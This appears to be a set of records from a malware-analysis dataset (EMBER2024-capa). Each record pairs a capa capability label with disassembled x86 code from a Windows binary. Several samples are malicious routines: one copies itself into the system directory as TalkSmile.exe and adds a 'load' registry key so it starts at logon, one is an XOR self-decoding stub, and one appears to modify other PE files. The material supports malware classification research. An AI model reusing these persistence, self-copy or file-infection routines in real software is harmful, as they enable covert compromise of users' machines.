joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402130
Capabilities:
Set registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
lea eax, [esp + 8]
push 0
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x40216f
push 0
push 0x409e60
push str.Create_REG_Error
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
ret 0x10
mov edx, dword [esp + 0x10]
push edi
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
mov ecx, dword [esp + 0x10]
push edx
push 1
push eax
mov eax, dword [esp + 0x20]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
pop edi
je 0x4021b1
push 0
push 0x409e60
push str.Set_REG_Error
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
ret 0x10
mov edx, dword [esp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
ret 0x10

Function at 0x4021c0
Capabilities:
Copy file
Create process on windows
Get common file path

Disassembly:
sub esp, 0x304
lea eax, [esp]
push ebx
push ebp
push esi
push edi
push 0x200
mov ebx, ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, 0x409040
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x14]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.TalkSmile.exe
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x214]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x10]
push 1
lea edx, [esp + 0x214]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x40228c
lea eax, [esp + 0x10]
mov ecx, ebx
push eax
push str.load
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWindows
push 0x80000001
call fcn.00402130
lea ecx, [esp + 0x10]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x304
ret
Function at 0x404831
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x409728
cmp edx, dword [eax]
je 0x404853
add eax, 8
inc ecx
cmp eax, 0x4097b8
jl 0x404844
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x409728]
jne 0x404981
mov eax, dword [0x409e70]
cmp eax, 1
je 0x40495b
test eax, eax
jne 0x404884
cmp dword [0x409584], 1
je 0x40495b
cmp edx, 0xfc
je 0x404981
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4048bb
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00405ad0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00403da0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4048fe
lea eax, [ebp - 0x1a4]
push eax
call fcn.00403da0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4084b4
push edi
call fcn.004026e0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00405ad0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00405ae0
lea eax, [ebp - 0xa0]
push 0x408494
push eax
call fcn.00405ae0
push dword [esi + 0x40972c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00405ae0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00405ef5
add esp, 0x2c
pop edi
jmp 0x404981
lea eax, [ebp + 8]
lea esi, [esi + 0x40972c]
push 0
push eax
push dword [esi]
call fcn.00403da0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x40f012
Capabilities:
Encode data using xor

Disassembly:
push dword fs:[0]
mov dword fs:[0], esp
sub edi, edi
sub ecx, ecx
mov cl, 0x8a
lea edi, [edi + 1]
dec ecx
jne 0x40f024
xchg ebx, ebx
call fcn.0040f068
stc
sub ecx, 0xffffffb8
mov ebx, 0x2900
mov ecx, ecx
stc
cmc
push ecx
clc
stc
clc
mov al, byte [ecx]
xor ax, di
clc
mov byte [ecx], al
add ecx, 1
inc edi
dec ebx
cmp ebx, 0
ja 0x40f045
pop ecx
cld
clc
cmc
mov edi, dword [ebp - 8]
mov dword fs:[0], edi
leave
jmp ecx
Function at 0x420c54
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
pushal
call 0x420c60
pop ebx
sub ebx, 0x402c60
mov eax, 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0x424642
push 0
push 0x20
push 3
push 0
push 3
push 0xc0000000
push dword [ebp + 8]
call dword [ebx + fcn.00401291]
cmp eax, 0xffffffff
je 0x420de6
mov dword [ebp - 4], eax
push 2
push 0
push 0xfffffffffffffffc
push dword [ebp - 4]
call dword [ebx + fcn.004012a5]
lea eax, [ebp - 8]
lea ecx, [ebp - 0xc]
push 0
push ecx
push 4
push eax
push dword [ebp - 4]
call dword [ebx + fcn.00401311]
mov eax, dword [ebp - 8]
cmp eax, 0x424642
jne 0x420cd1
jmp 0x420ddd
push 0
push dword [ebp - 4]
call dword [ebx + 0x4012b9]
mov dword [ebp - 8], eax
cmp eax, 0x1000
jae 0x420ceb
jmp 0x420ddd
cmp eax, 0xe00000
jbe 0x420cf7
jmp 0x420ddd
or eax, eax
je 0x420de6
mov ecx, dword [ebp - 8]
add ecx, 0x6000
mov dword [ebp - 0x14], ecx
push 0
push ecx
push 0
push 4
push 0
push dword [ebp - 4]
call dword [ebx + 0x401295]
or eax, eax
je 0x420d95
mov dword [ebp - 0xc], eax
push dword [ebp - 0x14]
push 0
push 0
push 2
push dword [ebp - 0xc]
call dword [ebx + 0x401299]
or eax, eax
je 0x420d8c
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], 0
mov esi, dword [ebp - 0x10]
cmp word [esi], 0x5a4d
je 0x420d50
jmp 0x420d83
mov eax, dword [esi + 0x3c]
cmp eax, 0x200
jbe 0x420d5c
jmp 0x420d83
add esi, dword [esi + 0x3c]
cmp dword [esi], 0x4550
je 0x420d69
jmp 0x420d83
push dword [ebp - 8]
push esi
push dword [ebp - 0x10]
call fcn.00420b2c
mov dword [ebp - 0x14], eax
push 0
push dword [ebp - 0x10]
call dword [ebx + 0x4012c5]
push dword [ebp - 0x10]
call dword [ebx + 0x40129d]
push dword [ebp - 0xc]
call dword [ebx + fcn.004012ad]
cmp dword [ebp - 0x14], 0
je 0x420ddd
mov eax, dword [ebp - 0x14]
sub eax, 4
push 0
push 0
push eax
push dword [ebp - 4]
call dword [ebx + fcn.004012a5]
lea eax, [ebp - 0x18]
lea ecx, [ebp - 8]
push 0
push ecx
push 4
push eax
push dword [ebp - 4]
call dword [ebx + fcn.004012a1]
push 0
push 0
push dword [ebp - 0x14]
push dword [ebp - 4]
call dword [ebx + fcn.004012a5]
push dword [ebp - 4]
call dword [ebx + 0x4012a9]
push dword [ebp - 4]
call dword [ebx + fcn.004012ad]
popal
leave
ret 4

Function at 0x421327
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
pushal
mov dword [ebp - 4], 0
call fcn.0042133a

Function at 0x4213a1
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
pushal
mov dword [ebp - 4], 0
call fcn.004213b4
Function at 0x4058b7
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41d908]
jne 0x4058c1
repz ret
jmp fcn.0040db86

Function at 0x4159fb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41d908]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00404e2c
and dword [ebp - 0x14], 0
cmp dword [0x46e94c], 0
mov dword [ebp - 0x18], eax
jne 0x415aae
push 0x403360
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x415b56
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x403354
push ebx
call edi
test eax, eax
je 0x415b56
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x403344
push ebx
mov dword [0x46e94c], eax
call edi
push eax
call esi
push 0x403330
push ebx
mov dword [0x46e950], eax
call edi
push eax
call esi
push 0x403314
push ebx
mov dword [0x46e954], eax
call edi
push eax
call esi
mov dword [0x46e95c], eax
test eax, eax
je 0x415aae
push 0x4032fc
push ebx
call edi
push eax
call esi
mov dword [0x46e958], eax
mov eax, dword [0x46e958]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x415b07
cmp dword [0x46e95c], ecx
je 0x415b07
push eax
call esi
push dword [0x46e95c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x415b07
test ebx, ebx
je 0x415b07
call edi
test eax, eax
je 0x415afe
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x415afe
test byte [ebp - 8], 1
jne 0x415b07
or dword [ebp + 0x10], 0x200000
jmp 0x415b3a
mov eax, dword [0x46e950]
cmp eax, dword [ebp - 0x18]
je 0x415b3a
push eax
call esi
test eax, eax
je 0x415b3a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x415b3a
mov eax, dword [0x46e954]
cmp eax, dword [ebp - 0x18]
je 0x415b3a
push eax
call esi
test eax, eax
je 0x415b3a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x46e94c]
call esi
test eax, eax
je 0x415b56
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x415b58
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004058b7
leave
ret
Function at 0x41a6e0
Capabilities:
Access the windows event log
Connect pipe
Delete directory
Delete file
Get common file path
Manipulate console buffer
Read pipe
Write pipe

Disassembly:
mov eax, 0x1c08
call fcn.00418150
cmp dword [0x81e104], 0x37
jne 0x41a7a8
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0
lea eax, [esp + 0xc0c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0
lea ecx, [esp + 4]
push ecx
push 0
lea edx, [esp + 0x14]
push edx
push 0
push 0
push 0x403498
call dword [sym.imp.KERNEL32.dll_CallNamedPipeW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
lea eax, [esp + 0x40c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
lea ecx, [esp + 4]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EraseTape]
push 0
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalSize]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_ReportEventA]
push 0
lea edx, [esp + 0x140c]
push edx
push 0x403504
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
mov eax, dword [0x81e518]
mov edx, dword [0x81dbe8]
mov cl, byte [eax + esi + 0x38d6]
mov byte [edx + esi], cl
add esp, 0x1c08
ret
Function at 0x41ae70
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword [0x81e104]
sub esp, 0x484
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetDateFormatA]
mov ebp, 0x2443831
cmp eax, 0x47
jne 0x41aef6
xor eax, eax
mov dword [esp + 0x64], eax
mov dword [esp + 0x68], eax
mov dword [esp + 0x6c], eax
mov dword [esp + 0x70], eax
lea eax, [esp + 0x60]
push eax
lea ecx, [esp + 0x78]
push ecx
push 0x403700
mov dword [esp + 0x6c], 0
call esi
xor eax, eax
push eax
mov dword [esp + 0x56], eax
mov dword [esp + 0x5a], eax
mov dword [esp + 0x5e], eax
mov word [esp + 0x62], ax
lea eax, [esp + 0x94]
push eax
push 0x40372c
xor edx, edx
lea ecx, [esp + 0x5c]
push ecx
push edx
push edx
mov word [esp + 0x68], dx
call edi
dec ebp
mov eax, dword [0x46dcc8]
mov dword [0x81e104], eax
jne 0x41ae95
mov dword [esp + 0x20], 0x764d11c7
mov dword [esp + 0x4c], 0x26b44f20
mov dword [esp + 0x24], 0x1f33c7de
mov dword [esp + 0x10], 0x2e56cff9
mov dword [esp + 0x28], 0x6cde8df8
mov dword [esp + 0x14], 0x796abd53
mov dword [esp + 0x34], 0x3ce56ad4
mov dword [esp + 0x1c], 0x581868fc
mov dword [esp + 0x18], 0xc596c70
mov dword [esp + 0x3c], 0x6d5e9115
mov dword [esp + 0x30], 0x22f372d9
mov dword [esp + 0x40], 0x2ad541d0
mov dword [esp + 0x38], 0x7a5f7c43
mov dword [esp + 0x2c], 0x28d520e
mov dword [esp + 0x48], 0x73f3bc07
mov dword [esp + 0x44], 0x51f578e1
add dword [esp + 0x4c], 0x73e38130
mov eax, 0x3a9c3a87
mul dword [esp + 0x20]
mov eax, dword [esp + 0x20]
add dword [esp + 0x24], 0x6b053f58
add dword [esp + 0x20], 0x2818faf9
add dword [esp + 0x4c], 0x3ab2fc3
sub dword [esp + 0x20], 0x30ad2d47
sub dword [esp + 0x20], 0x4442fc9b
sub dword [esp + 0x28], 0x2285667
add dword [esp + 0x4c], 0x262c99c6
sub dword [esp + 0x14], 0x4dc74448
mov eax, 0x53cf4e1b
mul dword [esp + 0x24]
mov eax, dword [esp + 0x24]
add dword [esp + 0x24], 0x1b067f32
mov eax, 0x67698c83
mul dword [esp + 0x14]
mov eax, dword [esp + 0x14]
sub dword [esp + 0x28], 0x7674af1e
mov eax, 0x173863dd
mul dword [esp + 0x28]
mov eax, dword [esp + 0x28]
mov eax, 0x3d786fdd
mul dword [esp + 0x3c]
mov eax, dword [esp + 0x3c]
mov eax, 0x38471b91
mul dword [esp + 0x14]
mov eax, dword [esp + 0x14]
mov eax, 0x45f07edf
mul dword [esp + 0x4c]
mov eax, dword [esp + 0x4c]
add dword [esp + 0x18], 0x6fea1ecd
sub dword [esp + 0x34], 0x32f1f16e
add dword [esp + 0x34], 0x6e380599
sub dword [esp + 0x18], 0x3ca08c1e
add dword [esp + 0x30], 0x154e8e1
add dword [esp + 0x14], 0x53bb032d
sub dword [esp + 0x14], 0x11166d6c
sub dword [esp + 0x18], 0x2a6a1594
add dword [esp + 0x14], 0x4fb1fe05
mov eax, 0x4b3ce8e6
mul dword [esp + 0x34]
mov eax, dword [esp + 0x34]
add dword [esp + 0x3c], 0x1bc84bb6
sub dword [esp + 0x30], 0x687c0c2b
add dword [esp + 0x48], 0x36e578c2
sub dword [esp + 0x10], 0x7b5e58ec
mov eax, 0x38d0a1fb
mul dword [esp + 0x48]
mov eax, dword [esp + 0x48]
sub dword [esp + 0x40], 0x15793cf4
mov edx, dword [0x46dcbc]
mov dword [0x81e518], edx
call fcn.0041aa50
pop edi
xor eax, eax
pop esi
pop ebp
mov esp, ebp
pop ebp
ret 0x10
Function at 0x403927
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4933c6
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push ebx
push esi
push edi
mov eax, dword [0x4bf2d8]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
call fcn.00403b1a
mov esi, dword [ebp + 8]
mov ecx, eax
lea eax, [esp + 0x14]
push eax
add ecx, 8
lea edi, [esp + 0x1c]
lea eax, [esp + 0x20]
call fcn.0040e66f
xor ebx, ebx
cmp eax, ebx
jne 0x403ad5
mov dword [esp + 0x28], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
push dword [ebp + 0xc]
mov dword [esp + 0x3c], ebx
call fcn.00403b1a
mov ecx, eax
lea eax, [esp + 0x18]
add ecx, 0x38
push eax
call fcn.0040b34e
mov byte [esp + 0x40], 1
mov esi, dword [eax]
push ebx
push esi
xor edi, edi
call fcn.0045cc43
add esp, 0x10
test eax, eax
jne 0x4039f0
push esi
call 0x400fd9
mov esi, eax
cmp esi, ebx
pop ecx
je 0x4039f0
mov eax, dword [esi + 8]
cmp eax, ebx
mov dword [esi + 8], ebx
je 0x4039db
mov eax, dword [esi]
push 1
mov ecx, esi
call dword [eax]
jmp 0x4039f0
mov ecx, dword [esp + 0x28]
cmp ecx, ebx
je 0x4039e9
mov eax, dword [ecx]
push 1
call dword [eax]
xor edi, edi
mov dword [esp + 0x28], esi
inc edi
mov byte [esp + 0x38], bl
mov eax, dword [esp + 0x14]
cmp edi, ebx
sete byte [esp + 0x13]
add eax, 0xfffffff0
call fcn.0040fb82
cmp byte [esp + 0x13], bl
je 0x403a20
push dword [ebp + 0x14]
lea eax, [esp + 0x24]
push eax
push dword [ebp + 8]
call fcn.00403b57
add esp, 0xc
mov esi, dword [esp + 0x28]
cmp esi, ebx
je 0x403a90
push 0x14
call fcn.0045beb0
cmp eax, ebx
pop ecx
je 0x403a4a
mov dword [eax + 4], ebx
mov dword [eax], 0x4a2934
mov dword [eax + 0x10], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov edi, eax
jmp 0x403a4c
xor edi, edi
cmp edi, ebx
je 0x403a90
push esi
push edi
call fcn.0040307d
mov eax, dword [edi + 0xc]
mov ebx, dword [edi + 8]
mov esi, dword [ebp + 0x10]
push eax
call fcn.00403145
mov eax, dword [edi + 0xc]
mov ecx, dword [edi + 8]
push eax
push ecx
push edi
push eax
push ecx
push esi
call fcn.0040326e
add esp, 0x18
call fcn.00403b1a
mov ebx, eax
mov eax, dword [ebp + 8]
add ebx, 8
call fcn.0040dd3c
mov dword [eax], edi
xor ebx, ebx
or dword [esp + 0x38], 0xffffffff
mov ecx, dword [esp + 0x28]
cmp ecx, ebx
je 0x403aa7
mov eax, dword [ecx]
push 1
call dword [eax]
mov dword [esp + 0x28], ebx
mov eax, dword [esp + 0x24]
cmp eax, ebx
je 0x403ab9
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [esp + 0x24], ebx
cmp dword [esp + 0x20], ebx
je 0x403afc
push dword [esp + 0x20]
call dword [fcn.00497258]
push dword [esp + 0x20]
call dword [fcn.00497250]
jmp 0x403afc
mov edi, dword [eax + 4]
push dword [edi + 0xc]
mov ebx, dword [edi + 8]
mov esi, dword [ebp + 0x10]
call fcn.00403145
mov eax, dword [edi + 0xc]
mov ecx, dword [edi + 8]
push eax
push ecx
push edi
push eax
push ecx
push esi
call fcn.0040326e
add esp, 0x18
xor ebx, ebx
mov ecx, dword [ebp + 0x10]
xor eax, eax
cmp dword [ecx + 4], ebx
setne al
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x417a14
Capabilities:
Get common file path

Disassembly:
sub esp, 0x50
test eax, eax
push esi
je 0x417a36
mov eax, dword [0x4bcaa0]
test eax, eax
je 0x417a2c
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
pop esi
add esp, 0x50
ret
push ebx
push edi
Function at 0x43c49c
Capabilities:
Encode data using xor

Disassembly:
sub dword [esi - 0x61], ebp
and esp, dword [esi + ebx*4 - 0x331699f4]
pop ecx
leave
sar byte [edx], 1
mov ecx, 0xa5949a9c
insd dword es:[edi], dx
pop es
salc
mov dword [0x247e0431], edi
sub byte [ebx - 0x4b2a2683], cl
clc
xor al, 0xa5
inc sp
not dword [edx + ebp*2 - 0x32]
xchg esp, eax
mov bh, 0xcb
out 0x4b, eax
js 0x43c497
cwde
mov al, 0xf6
xchg ebx, eax
adc edi, dword [esi - 0x31c6f423]
bound esp, qword [ebx - 0xa]
ljmp 0xd510
sub byte [eax + 0x98a87ff], dl
dec ebp
mov byte [edx - 0x2cd8e887], cl
mov edi, 0xf35af65b
neg byte [edx - 0xd]
fistp dword [eax]
or dh, 0x56
and eax, 0xe6ae0e59
out dx, eax
je 0x43c43e
xchg edx, eax
lodsb al, byte [esi]
jnp 0x43c4e1
imul ecx, dword [edx - 0xd6c7443], 0x6be69ba5
mov eax, dword [0xd9d41898]
fld dword [0xaf9ee317]
push ecx
push esi
cmpsd dword [esi], dword es:[edi]
out 0x74, al
sub dl, byte [edx + 0x4b]
push es
mov esp, 0x198acdf0
int 0x44
jae 0x43c488
pop ds
ret 0xe6b1
adc ebp, ebx
fmul qword [eax - 0x725d9b2c]
mov ch, 0x38
aam 0x64
mov byte [0x38b5368d], al
mov byte gs:[ebx - 0x15e7b4ca], 0x90
loopne 0x43c4a9
fsubr st(3), st(0)
jnp 0x43c4a5
in al, dx
wait
mov edi, 0xdf62eb32
shl byte [edi - 0x66], 1
xor esp, edx
sbb eax, 0x5b0fd85c
jp 0x43c53a
jne 0x43c4a9
jb 0x43c4e5
insb byte es:[edi], dx
wait
push es
fsubr dword [edx + 0x5c]
insb byte es:[edi], dx
call 0xa23af318
out dx, eax
stosb byte es:[edi], al
sub al, 0xb8
or dword [ebp - 0x34593b3f], ebp
movsd dword es:[edi], dword [esi]
sub ebx, dword [0x5c6ec858]
or bh, byte [ecx - 5]
xor bh, byte [esi - 0x15]
rcr dword [esi + ebp*8 - 0x7674f17b], 1
jbe 0x43c513
test dword [esi], ecx
mov ecx, dword [ecx + 0x7362d376]
mov cl, 0xa7
bound esi, qword [ebx - 0x4f]
cmpsd dword [esi], dword es:[edi]
invalid
Function at 0x488a94
Capabilities:
Encode data using xor

Disassembly:
pop ebp
and al, 0xc2
arpl word [ecx + 0xd9939ad], di
push ss
lahf
pop ecx
cmp dword [ecx + 0x599f160d], ebx
scasd eax, dword es:[edi]
dec dword [ebx - 0x76c7d73e]
xor eax, 0xbfbad848
xchg eax, eax
sbb edx, dword [ecx]
wait
clc
mov al, 0x53
mov ebp, 0x67c129b7
ja 0x488a9a
Function at 0x48d1e7
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4933c6
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push ebx
push esi
push edi
mov eax, dword [0x4bf2d8]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
call fcn.0048d3da
mov esi, dword [ebp + 8]
mov ecx, eax
lea eax, [esp + 0x14]
push eax
add ecx, 8
lea edi, [esp + 0x1c]
lea eax, [esp + 0x20]
call fcn.00497f2f
xor ebx, ebx
cmp eax, ebx
jne 0x48d395
mov dword [esp + 0x28], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
push dword [ebp + 0xc]
mov dword [esp + 0x3c], ebx
call fcn.0048d3da
mov ecx, eax
lea eax, [esp + 0x18]
add ecx, 0x38
push eax
call fcn.00494c0e
mov byte [esp + 0x40], 1
mov esi, dword [eax]
push ebx
push esi
xor edi, edi
call fcn.004e6503
add esp, 0x10
test eax, eax
jne 0x48d2b0
push esi
call fcn.0048a899
mov esi, eax
cmp esi, ebx
pop ecx
je 0x48d2b0
mov eax, dword [esi + 8]
cmp eax, ebx
mov dword [esi + 8], ebx
je 0x48d29b
mov eax, dword [esi]
push 1
mov ecx, esi
call dword [eax]
jmp 0x48d2b0
mov ecx, dword [esp + 0x28]
cmp ecx, ebx
je 0x48d2a9
mov eax, dword [ecx]
push 1
call dword [eax]
xor edi, edi
mov dword [esp + 0x28], esi
inc edi
mov byte [esp + 0x38], bl
mov eax, dword [esp + 0x14]
cmp edi, ebx
sete byte [esp + 0x13]
add eax, 0xfffffff0
call fcn.00499442
cmp byte [esp + 0x13], bl
je 0x48d2e0
push dword [ebp + 0x14]
lea eax, [esp + 0x24]
push eax
push dword [ebp + 8]
call fcn.0048d417
add esp, 0xc
mov esi, dword [esp + 0x28]
cmp esi, ebx
je 0x48d350
push 0x14
call fcn.004e5770
cmp eax, ebx
pop ecx
je 0x48d30a
mov dword [eax + 4], ebx
mov dword [eax], 0x4a2934
mov dword [eax + 0x10], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov edi, eax
jmp 0x48d30c
xor edi, edi
cmp edi, ebx
je 0x48d350
push esi
push edi
call fcn.0048c93d
mov eax, dword [edi + 0xc]
mov ebx, dword [edi + 8]
mov esi, dword [ebp + 0x10]
push eax
call fcn.0048ca05
mov eax, dword [edi + 0xc]
mov ecx, dword [edi + 8]
push eax
push ecx
push edi
push eax
push ecx
push esi
call fcn.0048cb2e
add esp, 0x18
call fcn.0048d3da
mov ebx, eax
mov eax, dword [ebp + 8]
add ebx, 8
call fcn.004975fc
mov dword [eax], edi
xor ebx, ebx
or dword [esp + 0x38], 0xffffffff
mov ecx, dword [esp + 0x28]
cmp ecx, ebx
je 0x48d367
mov eax, dword [ecx]
push 1
call dword [eax]
mov dword [esp + 0x28], ebx
mov eax, dword [esp + 0x24]
cmp eax, ebx
je 0x48d379
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [esp + 0x24], ebx
cmp dword [esp + 0x20], ebx
je 0x48d3bc
push dword [esp + 0x20]
call dword [fcn.00497258]
push dword [esp + 0x20]
call dword [fcn.00497250]
jmp 0x48d3bc
mov edi, dword [eax + 4]
push dword [edi + 0xc]
mov ebx, dword [edi + 8]
mov esi, dword [ebp + 0x10]
call fcn.0048ca05
mov eax, dword [edi + 0xc]
mov ecx, dword [edi + 8]
push eax
push ecx
push edi
push eax
push ecx
push esi
call fcn.0048cb2e
add esp, 0x18
xor ebx, ebx
mov ecx, dword [ebp + 0x10]
xor eax, eax
cmp dword [ecx + 4], ebx
setne al
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret